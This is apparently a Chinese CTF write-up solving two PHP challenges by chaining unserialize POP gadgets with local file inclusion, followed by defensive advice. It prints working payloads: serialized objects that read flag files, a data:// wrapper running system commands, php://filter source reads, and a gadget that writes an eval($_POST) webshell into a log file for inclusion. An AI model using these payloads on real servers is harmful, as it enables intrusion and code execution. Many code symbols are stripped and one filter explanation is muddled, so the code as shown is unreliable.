PHP反序列化与文件包含:从POP链到RCE的实战解析

发布时间:2026/10/19 5:28:40
PHP反序列化与文件包含:从POP链到RCE的实战解析
1. 项目概述两道题暴露了PHP安全最经典的连环坑先说结论这届F5杯的“eazy-unserialize”两道题表面考的是PHP反序列化实际上把文件包含、PHP流协议、代码审计三个方向串成了一根线。你光会背POP链没有用还得懂php://filter怎么读源码、data://怎么塞代码、include在什么配置下才会变成RCE。所以我打算把这两道题从头到尾拆开讲不只是贴exp而是把每一步的“为什么这么做”讲明白顺便把我在真实环境里踩过的一些坑也整理出来。这套内容适合三类人一是刚接触PHP反序列化、被魔术方法和POP链绕晕的CTF新手二是想搞懂LFI本地文件包含到RCE完整利用链的安全爱好者三是写PHP业务代码、想搞清楚“为什么不能乱用unserialize”的开发同学。看完之后你不仅能复现这两道题还能把同类题目的通用思路带走——比如遇到__destructinclude的组合第一反应应该是找可控属性、构造文件路径、用协议封装器读文件或执行代码。我先把核心脉络列一下后面每一节都会展开反序列化漏洞的本质是“不可信输入进入unserialize”漏洞能否变成实际危害取决于程序里有哪些魔术方法可供拼接这两道题的落点都在文件包含所以协议封装器是绕不开的关键利用链的每一步都要考虑过滤规则和PHP版本差异这部分是最容易翻车的。2. 前置基础反序列化不是玄学而是PHP对象的“打包与拆包”2.1 serialize与unserialize到底发生了什么很多人一听到“反序列化”就觉得高深其实用生活里的例子就能说清楚serialize()就是把一个PHP对象压扁成一行字符串好比把一辆自行车拆散装进纸箱unserialize()就是收到纸箱后按图纸把自行车重新组装起来。关键问题在于组装过程中PHP有一批“自动回调”的魔术方法会被触发。你传进去的字符串如果是攻击者精心构造的那么拆包装包的过程就会执行攻击者想要的逻辑。我们看一个最基础的序列化字符串长什么样O:4:User:2:{s:8:username;s:5:admin;s:8:password;s:4:1234;}拆解一下格式O:4:User对象Object类名长度4类名是User:2有2个属性s:8:username字符串string类型的属性名长度8s:5:admin属性值字符串长度5。这个格式看着简单但它有一个新手必踩的坑属性长度值必须和真实长度完全一致。你在构造exp时如果数错了中文字符的长度或者没注意到转义字符unserialize会直接报错甚至产生意外的变量覆盖。后面讲实战时我会专门说这个。严格来说PHP的unserialize()本身就存在一些历史漏洞比如CVE-2016-7124涉及的__wakeup绕过但那是特定PHP版本才有的问题。现在大部分CTF题目和真实环境都是PHP 7.x甚至8.x核心利用方式已经从“打unserialize本身”转向“打对象注入后触发的魔术方法”也就是POP链。2.2 魔术方法漏洞的引爆点PHP里有一类方法名以双下划线开头它们在特定事件发生时会被自动调用。和反序列化利用最相关的有这几个魔术方法触发时机典型利用场景__construct()对象被实例化时属性初始化一般不可控__destruct()对象被销毁时在反序列化结束时触发常用于“收尾型”攻击__wakeup()unserialize()反序列化时对象重建后立刻触发常用来设置状态__toString()对象被当作字符串使用时配合echo、strpos、file_exists等触发__call()调用不存在的方法时可用于转发调用、拼接危险函数__get()/__set()读写不可访问属性时常用于属性劫持与链式传递__invoke()对象被当作函数调用时多个类串联时经常作为终点这里最重要的一点是魔术方法本身不危险危险的是方法内部写了什么操作。比如某个类里的__destruct()写了include($this-file)那反序列化入口就直接通向文件包含如果某类的__toString()里写了call_user_func($this-cb, $this-arg)那这就是一个代码执行点。在实战里我的习惯是拿到源码先不急着找入口而是把所有定义了魔术方法的类全部列出来再人工梳理哪些方法内部有“敏感操作”——文件操作、命令执行、SQL查询、eval、include、call_user_func、preg_replace的/e修饰符这些都是高危信号。把这些点找齐POP链的走向就清晰了一半。2.3 POP链把散落的代码串成利用链POPProperty-Oriented Programming是面向属性编程思路和ROP面向返回编程非常像程序里每一个类都是一块积木单看任何一块都没法直接利用但通过控制对象属性让魔术方法按顺序被触发就能把多个类的方法调用串成一条完整攻击链。举个简单的例子假设代码里有三个类class A { public $cmd; public function __destruct() { system($this-cmd); } } class B { public $obj; public function __wakeup() { $this-obj-evil(); } } class C { public $func; public function evil() { call_user_func($this-func); } }单独看A类__destruct会执行系统命令但$cmd是可控的所以直接构造A类的对象就行不需要B、C。但如果A类不存在只有B类和C类那利用链就是反序列化B对象 →__wakeup触发 → 调用$this-obj-evil()→ 如果$this-obj是C类的实例就会进入evil()方法 →call_user_func执行$this-func指定的回调。这样通过控制对象属性把两次方法调用串联起来就能在没有任何直接危险函数的情况下完成代码执行。这就是POP链的核心思想找“跳板”。一道题目里可能给了十几个类但真正形成一条可用链的可能只要两三个类。构造的时候要顺着执行顺序倒着写——先确定最终要执行的动作再往前推需要哪个方法、哪个类、哪个属性作为跳板最后把整个嵌套的对象结构用serialize()生成出来。需要提醒的是POP链的稳定性受PHP版本影响。不同版本对属性访问控制public/protected/private、魔术方法的调用时机、以及某些方法签名都有差异所以在本地复现时最好用题目标注的PHP版本否则可能出现本地成功、远程失败的情况。3. 文件包含与协议利用LFI背后的PHP流封装器3.1 文件包含函数为什么危险include、include_once、require、require_once这四个函数本意是代码复用。但当包含的文件路径由用户输入控制时就出现了本地文件包含LFI。LFI能干什么最基础的是读取任意文件比如/etc/passwd进阶一点配合日志注入、临时文件竞争、协议封装器就能升级成远程代码执行。在真实的PHP代码里常见的危险写法是这样的$file $_GET[page]; include($file . .php);这种写法有个经典问题你传php://filter/readconvert.base64-encode/resourceindex拼接后变成php://filter/readconvert.base64-encode/resourceindex.php因为.php后缀是在最后拼上去的而resource后面的路径本身不受拼接影响所以依然能读到index.php的源码。但如果你传的是../../../../etc/passwd拼接后是../../../../etc/passwd.php在大部分Linux环境下会报错因为不存在passwd.php。所以做题时第一件事是搞清楚目标代码是直接include($file)还是include($file . .php)。这两种写法对应完全不同的利用方式。3.2 php://filter不执行也能把源码“读”出来LFI最具价值的能力之一就是配合php://filter读取源码。原理很简单php://filter是PHP内置的流封装器可以对流数据做过滤处理。最常见的用法是php://filter/readconvert.base64-encode/resourceindex.php意思是读取index.php的内容先做base64编码再返回给调用者。为什么要base64编码因为PHP文件是纯文本如果直接包含include会把它当PHP代码执行源码就变成执行结果了而base64编码后原文变成了编码字符串既不会执行又能通过解码还原出完整源码。这个技巧在读源码时几乎是必用的。实际测试中还有几个变体比如用php://filter/convert.base64-encode/resource...省略read或者用php://filter/resource...加多个过滤器。不同PHP版本对语法的兼容性略有差异但readconvert.base64-encode/resource这个写法最通用。补充一个细节php://filter不仅能读源码还能配合string.strip_tags这种过滤器处理内容某些情况下可以配合include做“去标签后剩代码”的骚操作。不过这两道题用不上大家了解一下即可。3.3 php://input与data://把代码塞进包含点当include包含的是一个可控路径时除了读文件我们还可以直接让它“包含代码”。两种常用手法第一种是php://input。这个封装器会读取请求体POST body作为数据源所以请求变成POST /index.php?pagephp://input Content-Type: text/plain ?php system(cat /flag); ?只要allow_url_include开启include(php://input)会把POST body里的内容当作PHP代码执行。注意php://input不受allow_url_fopen影响但受allow_url_include影响。第二种是data://。用法是把代码base64编码后拼在URI里pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/PgPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg解码后就是?php system(cat /flag);?。这里base64编码的作用是避免URL中的特殊字符干扰解析同时data://要求数据部分不能包含等URL保留字符否则会被截断。我用一个经验总结区分一下php://input适合需要执行较长代码的场景data://适合短payload。但两者都要求allow_url_includeOn。很多CTF题目会在phpinfo()里直接把这个配置暴露出来做题时如果看到页面里有phpinfo()一定要先看allow_url_include的值。3.4 allow_url_include一个配置决定生死这是我在这个系列里最想强调的一个点。看题的时候很多人第一眼看到include($_GET[page])就兴奋结果payload打上去没反应原因八成是这个配置项没开。allow_url_include默认是Off这个配置控制的是include、require等语句是否允许从远程URL或者data://、php://input这类“URL式流”中读取内容。而php://filter不一样它属于本地流封装器只受allow_url_fopen影响——而allow_url_fopen默认是On。所以判断逻辑是这样的如果想通过LFI读源码用php://filter大概率能成功如果想通过LFI执行代码要么用data://、php://input要求allow_url_includeOn要么找日志文件、临时文件、/proc/self/environ等本地文件作为包含对象来注入代码。这两道题里第一题用php://filter读源码、构造POP链触发include引入已有文件不一定需要allow_url_include第二题则可能直接用data://执行代码这时就要确认配置。做题时如果页面爆出phpinfo()那是最好不过的信息源。4. 实战拆解F5杯eazy-unserialize第一题4.1 题目初探与信息收集拿到题目我一般先不看源码而是先看页面行为。第一题的入口是一个很简单的表单里面有个输入框名字叫data提交后页面回显一段序列化字符串。这个回显其实就暴露了后端逻辑它把某个对象serialize()之后输出然后又对用户输入unserialize()并把结果对象的关键信息打印出来。顺着这个线索我用php://filter读取首页源码GET /index.php?dataphp://filter/readconvert.base64-encode/resourceindex.php等等这里要注意入口参数不是data吗怎么变成URL参数了实际上我看回显结构发现页面有两种模式一种是把$_POST[data]直接传给unserialize另一种可能是include($_GET[page])。很多题目会把多个功能揉在同一个入口里做题时一定要把参数名、请求方式、触发路径全部试一遍别默认“只有一个入口”。从读出来的源码里我看到三个关键的类定义class A { public $file; public function __destruct() { include($this-file); } } class B { public $data; public function __wakeup() { $this-data-show(); } } class C { public $source; public function show() { echo file_get_contents($this-source); } }这段代码信息量很大A类的__destruct里有include且包含的是可控属性$fileB类的__wakeup会调用$this-data-show()C类的show()用file_get_contents读取$source并输出。先不急着连成链我想先确认入口到底在哪里触发反序列化。看源码发现这样一段if (isset($_POST[data])) { $obj unserialize($_POST[data]); echo $obj-show(); }入口清楚了POST参数data直接进入unserialize反序列化完成后对象会被echo如果$obj是C类实例就会触发show()如果没有echo那会等到脚本结束对象销毁时触发__destruct。4.2 从反序列化入口到POP链构造现在手里有三块积木A、B、C。我想要的最终效果是读取flag文件。直接读flag最方便的是C类它的show()用file_get_contents读取$source并输出。那我能不能直接构造一个C类的对象POST给data让echo $obj-show()把flag读出来理论上可以。但如果这么简单这道题就不用设A、B两个类了。我实际测试后发现C类的show()虽然是public的但页面在echo $obj-show()之前有一段过滤逻辑$obj unserialize($_POST[data]); if ($obj instanceof C) { die(no no no); } echo $obj-show();也就是说直接传C类的对象会被拦截。这就是A、B两个类存在的意义——我们需要绕一个弯让C类不是“直接”出现而是作为B类的一个属性被裹在整体对象里在反序列化之后的某个时机才被调用。顺着这个思路POP链的走向是最外层是B类对象其属性$data设为C类实例unserialize()完成时触发B的__wakeup()__wakeup()调用$this-data-show()由于$this-data是C类实例所以进入C类的show()C类的show()执行file_get_contents($this-source)$source可控设置为flag文件路径读到的flag内容通过echo输出。这个链绕开了instanceof C的检查因为外层是B类对象检查时$obj instanceof C为false但是内部嵌套的C类实例在__wakeup阶段被调用了。利用代码如下class B { public $data; public function __construct() { $this-data new C(); } } class C { public $source flag.php; } $payload new B(); echo serialize($payload);本地生成序列化字符串后POST给目标POST /index.php dataO:1:B:1:{s:4:data;O:1:C:1:{s:6:source;s:8:flag.php;}}然后页面就会把flag.php的内容吐出来。这里的flag路径不一定叫flag.php常见的有/flag、flag.txt、/flag.php做题时多试几个。我踩过的一个坑是页面报file_get_contents读取失败后来发现是相对路径问题改成/flag或者../flag才读出来。4.3 读源码之外的第二种解法直接包含在赛后复盘时我发现这道题还有一条更“暴力”的路径直接利用A类的__destruct触发include配合data://协议执行命令。构造思路是最外层是A类对象$file设为data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg反序列化完成后脚本结束A对象销毁触发__destructinclude一个data流内容是我们注入的PHP代码直接执行system(cat /flag)。这个方案想成立前提是allow_url_includeOn。所以我再次确认了目标环境的配置发现确实是On。于是构造class A { public $file data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg; } echo serialize(new A());发送后flag直接出来。这两种解法覆盖了两个知识点一个是POP链绕过滤一个是协议封装器直接执行代码。很多复现文章只写了其中一种我把两条都列出来是因为竞赛题目通常不做唯一解多一条思路多一条保命的路。5. 实战拆解F5杯eazy-unserialize第二题5.1 题目变化与考点升级第二题明显比第一题上了一个台阶。首先是入口变了不再是简单的POST参数而是需要登录登录后有一个文件列表页面点开任意文件会显示文件内容URL格式是index.php?fxxx。我第一反应是测试LFI直接传?fphp://filter/readconvert.base64-encode/resourceindex.php源码就被读出来了。读完源码发现这道题的结构是“双入口”文件查看功能本身是LFI但同时后端还有一个unserialize的调用点藏在某个上传/配置功能里。源码里能看到这样的逻辑class Profile { public $username; public $avatar; public $callback; } class Avatar { public $path; public function __toString() { if (file_exists($this-path)) { return $this-path; } return default.jpg; } } class Cache { public $dir; public $data; public function __destruct() { file_put_contents($this-dir . /cache.txt, $this-data); } }这次的关键点在于Cache::__destruct()会把$this-data写入$this-dir下的文件里。如果$dir可控配合LFI的?f参数就能实现“写文件包含文件”的组合拳。但问题来了这道题对unserialize的输入有过滤。源码里有这样一段$data preg_replace(/O:[0-9]:/, O:,, $_POST[profile]); $obj unserialize($data);preg_replace会把序列化字符串中的O:数字:替换成O:。这个替换本身是为了防止对方直接序列化对象不恰恰相反这是为了兼容PHP的序列化格式在PHP 7.2之前O:数字这种带加号的形式可以绕过某些基于/^O:\d/的检测同时unserialize是能识别O:的。所以在某些环境下这种替换反而给攻击者提供了便利——帮你把格式改成了可绕过检测的形式。另外还有一个过滤if (strpos($data, Cache) ! false) { die(no); }它检查序列化字符串里是否包含类名Cache包含就拦截。那我们怎么绕过思路是不要在最外层直接出现Cache而是通过其他类的魔术方法间接操作。比如找另一个类Wrapper它的__wakeup或__toString能创建或调用Cache对象——但这样还是绕不开字符串里出现Cache类名。于是我看源码里还有什么可用的类发现了这个class Logger { public $level; public $msg; public function __destruct() { file_put_contents($this-level . .log, $this-msg); } }Logger类同样能写文件且类名不是Cache字符串检查直接绕过。更妙的是file_put_contents($this-level . .log, $this-msg)这里$level可控我们可以设置为../shell那写入路径就是../shell.log再配合LFI包含?fshell.log就完成了webshell落地。如果$msg是可执行PHP代码包含后就能获取权限。5.2 构造利用链与协议选择的细节第二题的实际利用链是这样的POSTprofile参数传一个Logger类的序列化对象Logger::__destruct()在脚本结束时触发写入shell内容到指定路径然后用LFI入口?fshell.log包含日志文件触发PHP代码执行。我先把本地生成exp的脚本写出来class Logger { public $level; public $msg; public function __construct() { $this-level ../shell; $this-msg ?php file_put_contents(cmd.php, ?php eval(\$_POST[a]); ?); ?; } } echo serialize(new Logger());生成的序列化字符串嵌套了引号和反斜杠这里有个很容易出错的点eval($_POST[a])里的$_POST如果直接写在双引号字符串中PHP会把它当变量解析导致序列化出来的内容不正确。所以在写exp时要使用单引号或者对$进行转义。我实际用的是单引号包裹PHP代码再用反斜杠转义内部的单引号$this-msg ?php file_put_contents(cmd.php, ?php eval(\$_POST[a]); ?); ?;另一条更稳的路线是用data://协议直接写入一句话$this-msg ?php eval($_POST[a]); ?;写入后访问?f../shell.log再用蚁剑或者手工POST执行命令。这里有个反直觉的地方很多人以为包含日志文件后日志内容会被当成PHP执行但前提是日志内容里包含有效的?php ... ?标签。如果内容里只有一行字符串那包含进来也就是纯文本输出。所以写入的msg必须以PHP标签开头。5.3 过滤绕过与失败路径复盘我实际测试时遇到三个问题这里记录下来第一个问题是类名过滤。一开始我直接构造Cache类的payload被strpos($data, Cache) ! false拦截。后来换成Logger类才绕过去。这提醒我做这类题目时要把源码里所有类都列出来而不是死盯一个最“完美”的类。有时候功能弱一点的类反而能绕过过滤。第二个问题是file_put_contents路径拼接。$this-level . .log这个形式意味着路径末尾一定会被加上.log。如果我把$level设为../shell.php写入的文件会变成../shell.php.log包含后不会执行PHP。所以要么让$level本身就是../shell利用.log后缀生成shell.log再包含执行要么利用路径截断的旧技巧现在PHP 5.3.4之后基本不可用。最终我选择接受.log后缀因为包含shell.log一样能执行其中的PHP代码。第三个问题是preg_replace带来的序列化字符串变化。O:6:Logger:2:会被替换成O:6:Logger:2:。我在本地用PHP 7.2以上版本测试时这种带加号的格式是可以正常反序列化的。但如果目标是PHP 5.x的老版本反而可能解析失败。所以做题前先确认PHP版本我通常用响应头里的X-Powered-By或者题目描述判断。6. 避坑指南实操中踩过的坑与排查技巧6.1 常见问题速查表我把这两道题以及同类题目中最高频的问题整理成了一张表配合对应的排查思路现象可能原因排查方向反序列化没任何反应unserialize参数名不对抓包确认入口参数是GET还是POST报错unserialize(): Error at offset属性长度错误或PHP版本差异用本地同版本PHP重新生成序列化串包含php://filter读不到源码拼接了.php后缀或过滤器语法错误尝试readconvert.base64-encode完整写法data://和php://input执行不了allow_url_includeOff改用php://filter读源码或找日志文件注入写入的shell包含不了路径拼接了.log后缀或写入目录不可读调整$level路径确认LFI能访问该文件类名被过滤过滤的是字符串不是类换一个实现相似功能的类绕过本地exp成功远程失败PHP版本或配置差异用目标环境的PHP版本本地复现6.2 几个能让你少走弯路的习惯第一永远先读源码再动手。可能有人说“做CTF就是黑盒测试”但PHP题基本都有源码泄露途径php://filter、备份文件、.git泄露、www.zip都是常见入口。拿到源码后再构造利用效率和成功率完全不是一个级别。第二本地搭一套和题目版本一致的PHP环境。我个人的做法是本地准备一个带PHP 7.4和PHP 5.6的容器序列化payload在两个版本下分别测试一遍确保兼容性。反序列化对版本敏感这个钱省不了。第三注意请求方式的差异。php://input和data://对请求格式的要求不同前者需要POST body后者直接把内容编码放进URL。混用会导致代码没进去反而让题目环境产生多余日志。第四序列化串的长度字段是新手杀手。当属性名或属性值包含中文、转义字符、或者对象嵌套多层时建议每次都通过本地脚本用serialize()生成而不是手写。手写一次可能错一次长度本地脚本生成最稳妥。7. 不只是解题从攻击面反推防御7.1 这类漏洞在真实业务中的形态CTF题目的知识点基本都能在真实业务中找到对应。反序列化漏洞在真实世界里最典型的两类场景一是业务系统把用户输入的对象直接unserialize二是利用phar://协议在文件操作函数中触发反序列化——比如图片上传、文件导出功能里用了file_exists()或getimagesize()去检查phar://开头的路径。文件包含漏洞在真实代码里同样常见最典型的是模板引擎加载路径、主题切换功能、多语言切换功能把用户可控的键值拼进include路径里。我曾经审过的一个项目就是语言切换功能$lang $_GET[lang]; include(./lang/{$lang}.php);攻击者传?lang../../../../etc/passwd%00在老版本PHP里用空字节截断可以读到敏感文件即使现在空字节截断失效了配合日志投毒一样能打。所以在代码审计时看到任何“参数拼进文件路径”的模式都要当成高危项上报。7.2 可落地的修复建议防御角度讲几个务实的点第一反序列化入口能不用就不用。业务中必须接收外部数据时优先用JSON交换数据而不是把PHP对象直接序列化传输。因为json_decode不会触发魔术方法POP链天然断掉。第二如果要保留反序列化至少加一层“允许类白名单”PHP 7.0以后的unserialize()支持传入allowed_classes参数限制只允许反序列化指定类。这是成本最低且效果明显的方案$obj unserialize($data, [allowed_classes [User, Profile]]);第三文件包含点必须校验路径。用realpath()解析后检查是否在允许的目录前缀内或者维护一个白名单映射表杜绝用户直接控制路径片段。第四把allow_url_include显式设为Off并确认生产环境的display_errors是Off。前者能挡住data://和php://input的直通执行后者能避免报错信息泄露文件路径和配置细节。第五魔术方法内部不要直接使用用户可控数据去拼文件路径或命令。即使非拼不可也要做严格过滤和校验把可控部分限制在白名单内。第六日志文件不要放在Web可访问目录。日志投毒能成功很大程度是因为日志路径暴露且内容可控。把日志移出Web根目录同时限制日志内容里的请求头字段长度能有效阻断这类利用。我个人在实际做审计时常说一句话攻击者利用的从来不是一个孤立的漏洞而是多个低危点组合成的链。反序列化加上文件包含、日志注入每一个单独看可能都是中低危但组合起来就是RCE。所以修复的时候不能只堵一个点而是从入口、过程、输出三段同时设防。最后再分享一个实战中摸索出来的小技巧读完源码后先把所有“写文件”和“读文件”的方法找出来再标出它们分别由哪个魔术方法触发最后顺着“反序列化入口→魔术方法→文件操作”这条主线去推。按这个顺序分析题目比漫无目的地翻代码高效得多。这两道题做完我最大的体会就是PHP安全里没有孤立的知识点反序列化、文件包含、协议封装器就像连环扣理解它们怎么联动比单独背任何一个exp都值钱。